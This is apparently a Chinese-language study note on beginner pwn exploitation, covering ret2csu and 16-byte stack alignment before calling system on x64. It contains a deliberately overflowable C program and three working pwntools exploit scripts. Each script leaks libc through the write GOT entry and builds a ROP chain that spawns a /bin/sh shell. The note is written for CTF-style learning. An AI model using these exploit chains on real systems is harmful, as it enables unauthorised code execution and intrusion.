pwn入门-ret2csu+栈对齐
没有写system就一定没?除了system还有vmmap mproject orw int 0x80 syscall open read puts exevc malloc_ hook free_hook exit_hook….
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> int dofunc(){ char b[8] = {}; write(1,"input:",6); read(0,b,0x100); write(1,"bye",3); return 0; }
int main(){ dofunc(); return 0; }
|
rdx为3,如何输出地址?先输前三个再输后几个
假设rdx为0
正常来说编译完肯定有_libc_csu_init
函数,特点是连续pop了6个

可以控制三个参数:


目的:为了控制三个参数



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * context(log_level='debug', arch='amd64', os='linux')
pwnfile = './question_5_plus_x64' io = process(pwnfile) elf = ELF(pwnfile)
padding = 0x10 leak_func_name = 'write' leak_func_got = elf.got[leak_func_name] return_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write']
pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 ret_gadget = 0x4011fc
gdb.attach(io)
pop_rbx_addr = 0x4011F2 rbx = 0 rbp = 1 r12 = 1 r13 = leak_func_got r14 = 6 r15 = elf.got['write'] mov_rdx_r14_addr = 0x4011D8
payload = b'a' * padding payload += flat([pop_rbx_addr, rbx, rbp, r12, r13, r14, r15, mov_rdx_r14_addr]) payload += p64(0xdeadbeef) * 7 + p64(return_addr)
delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('bye') write_addr = u64(io.recv(6).ljust(8, b'\x00')) print('write_addr:', hex(write_addr))
write_offset = 0x114870 libc_base = write_addr - write_offset print('libc_base:', hex(libc_base))
system_offset = 0x50D70 system_addr = libc_base + system_offset print('system_addr:', hex(system_addr))
binsh_offset = 0x1D8678 binsh_addr = libc_base + binsh_offset print('binsh_addr:', hex(binsh_addr))
payload2 = b'a' * padding payload2 += p64(ret_gadget) payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter(delimiter, payload2) pause() io.interactive()
|
这里不是很懂 为什么是write的got表 而不是plt表
是call_func处,本质是通过 r15 寄存器控制调用目标地址,而 r15 指向的地址是一个指针
理解一下plt表和got表,got表再执行完write函数,存的是函数的实际地址,而plt存的是一个跳转函数,不能直接被call
如果将 r15 设为 write@plt,那么 call 会尝试把 write@plt 这个位置当作一个指针去解析,那就会崩
最大疑惑点应该是在ret2libc中为什么能用plt,而这用got
因为在这pop r15只是pop前面的几个pop也并非给它设置参数,真正的执行在call,需要函数地址
而在ret2libc中,是直接劫持了栈,并且前面pop也是在设置参数,那边也不能改成got,因为got只是个地址不会执行,需要被call
c语言字符串是指针地址:

栈对齐一定要看,本题!!!!
下面是Exp的其它形式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * context(log_level='debug', arch='amd64', os='linux')
pwnfile = './question_5_plus_x64' io = process(pwnfile) elf = ELF(pwnfile)
padding = 0x10 leak_func_name = 'write' leak_func_got = elf.got[leak_func_name] return_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write']
libc_file_path = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_file_path)
pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 ret_gadget = 0x4011fc
gdb.attach(io)
pop_rbx_addr = 0x4011F2 rbx = 0 rbp = 1 r12 = 1 r13 = leak_func_got r14 = 6 r15 = elf.got['write'] mov_rdx_r14_addr = 0x4011D8
payload = b'a' * padding payload += flat([pop_rbx_addr, rbx, rbp, r12, r13, r14, r15, mov_rdx_r14_addr]) payload += p64(0xdeadbeef) * 7 + p64(return_addr)
delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('bye') write_addr = u64(io.recv(6).ljust(8, b'\x00')) print('write_addr:', hex(write_addr))
wirte_offset = libc.symbols['write'] libc_addr = write_addr - wirte_offset print('libc_addr:',hex(libc_addr))
system_offset = libc.symbols['system'] system_addr = libc_addr + system_offset print('system_addr:',hex(system_addr))
bin_sh_offset = next(libc.search(b'/bin/sh')) bin_sh_addr = libc_addr + bin_sh_offset print('bin_sh_addr:',hex(bin_sh_addr))
payload2 = b'a' * padding payload2 += p64(ret_gadget) payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendlineafter(delimiter, payload2) io.interactive()
|
LibSearcher版:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| from pwn import * from LibcSearcher import LibcSearcher
context(log_level='debug', arch='amd64', os='linux') pwnfile = './question_5_plus_x64' io = process(pwnfile) elf = ELF(pwnfile)
padding = 0x10 leak_func_name = 'write' leak_func_got = elf.got[leak_func_name] return_addr = elf.symbols['dofunc'] write_sym = elf.symbols['write']
pop_rdi_ret = 0x4011fb pop_rsi_r15_ret = 0x4011f9 ret_gadget = 0x4011fc
gdb.attach(io)
pop_rbx_addr = 0x4011F2 rbx = 0 rbp = 1 r12 = 1 r13 = leak_func_got r14 = 6 r15 = elf.got['write'] mov_rdx_r14_addr = 0x4011D8
payload = b'a' * padding payload += flat([pop_rbx_addr, rbx, rbp, r12, r13, r14, r15, mov_rdx_r14_addr]) payload += p64(0xdeadbeef) * 7 + p64(return_addr)
delimiter = 'input:' io.sendlineafter(delimiter, payload)
io.recvuntil('bye') write_addr = u64(io.recv(6).ljust(8, b'\x00')) print('write_addr:', hex(write_addr))
libc = LibcSearcher('write', write_addr) libc_addr = write_addr - libc.dump('write') print('libc_base:', hex(libc_addr))
system_offset = libc.dump('system') system_addr = libc_addr + system_offset print('system_addr:',hex(system_addr))
bin_sh_offset = libc.dump('str_bin_sh') bin_sh_addr = libc_addr + bin_sh_offset print('bin_sh_addr:',hex(bin_sh_addr))
payload2 = b'a' * padding payload2 += p64(ret_gadget) payload2 += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendlineafter(delimiter, payload2) io.interactive()
|
libcsearcher搜不到我的版本
栈对齐
参考:关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园
这个一直打不通,最后加了payload2 += p64(ret_gadget) # 确保栈对齐就能打通了
如果远程能跑,本地跑不了,第一时间先加栈对齐试试
64位ubuntu18以上系统调用system函数时是需要栈对齐的。64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐,刚才的程序要是不加栈对齐,就运行如下所示:

程序停在这ni不动了,查阅资料:当内存地址作为操作数时,内存地址必须对齐 16Byte 、 32Byte 或 64Byte 。这里所说的对齐 xByte,就是指地址必须是 x 的倍数。
因为64位程序的地址是8字节的,而十六进制又是满16就会进位,因此我们看到的栈地址末尾要么是0要么是8。

只有当地址的末尾是0的时候,才算是与16字节对齐了,如果末尾是8的话,那就是没有对齐。而我们想要在ubuntu18以上的64位程序中执行system函数,必须要在执行system地址末尾是0。
如果执行了一个对栈地址的操作指令(比如pop,ret,push等等,但如果是mov这样的则不算对栈的操作指令),那么栈地址就会+8或是-8。为使rsp对齐16字节,核心思想就是增加或减少栈内容,使rsp地址能相应的增加或减少8字节,这样就能够对齐16字节了。因为栈中地址都是以0或8结尾,0已经对齐16字节,因此只需要进行奇数次pop或push操作,就能把地址是8结尾的rsp变为0结尾,使其16字节对齐。
两种解决方法:
将system函数地址+1,**+1是为了跳过一条栈操作指令(目的就是跳过一条栈操作指令,使rsp十六字节对齐,跳过一条指令,自然就是把8变成0了**)
但又一个问题就是,本来+1是为了跳过一条栈操作指令,但是你也不知道下一条指令是不是栈操作指令,如果不是栈操作指令的话(你加一之后有可能正好是mov这种指令,也有可能人家指令是好几个字节,你加一之后也没有到下一个指令呢),+1也是徒劳的,要么就继续+1,一直加到遇见一条栈操作指令为止(看别的师傅说最大加16次就能成功,不过我不知道为啥)
但在本题不适用,因为我们填的已经是system的地址了,+1就跳过了system了
佬的博客截图:如果只是跳到func没到system的地方

在调用system函数地址之前去调用一个ret指令。因为本来现在是没有对齐的,那我现在直接执行一条对栈操作指令(ret指令等同于pop rip,该指令使得rsp+8,从而完成rsp16字节对齐),这样system地址所在的栈地址就是0结尾,从而完成了栈对齐。
本题就是这个方法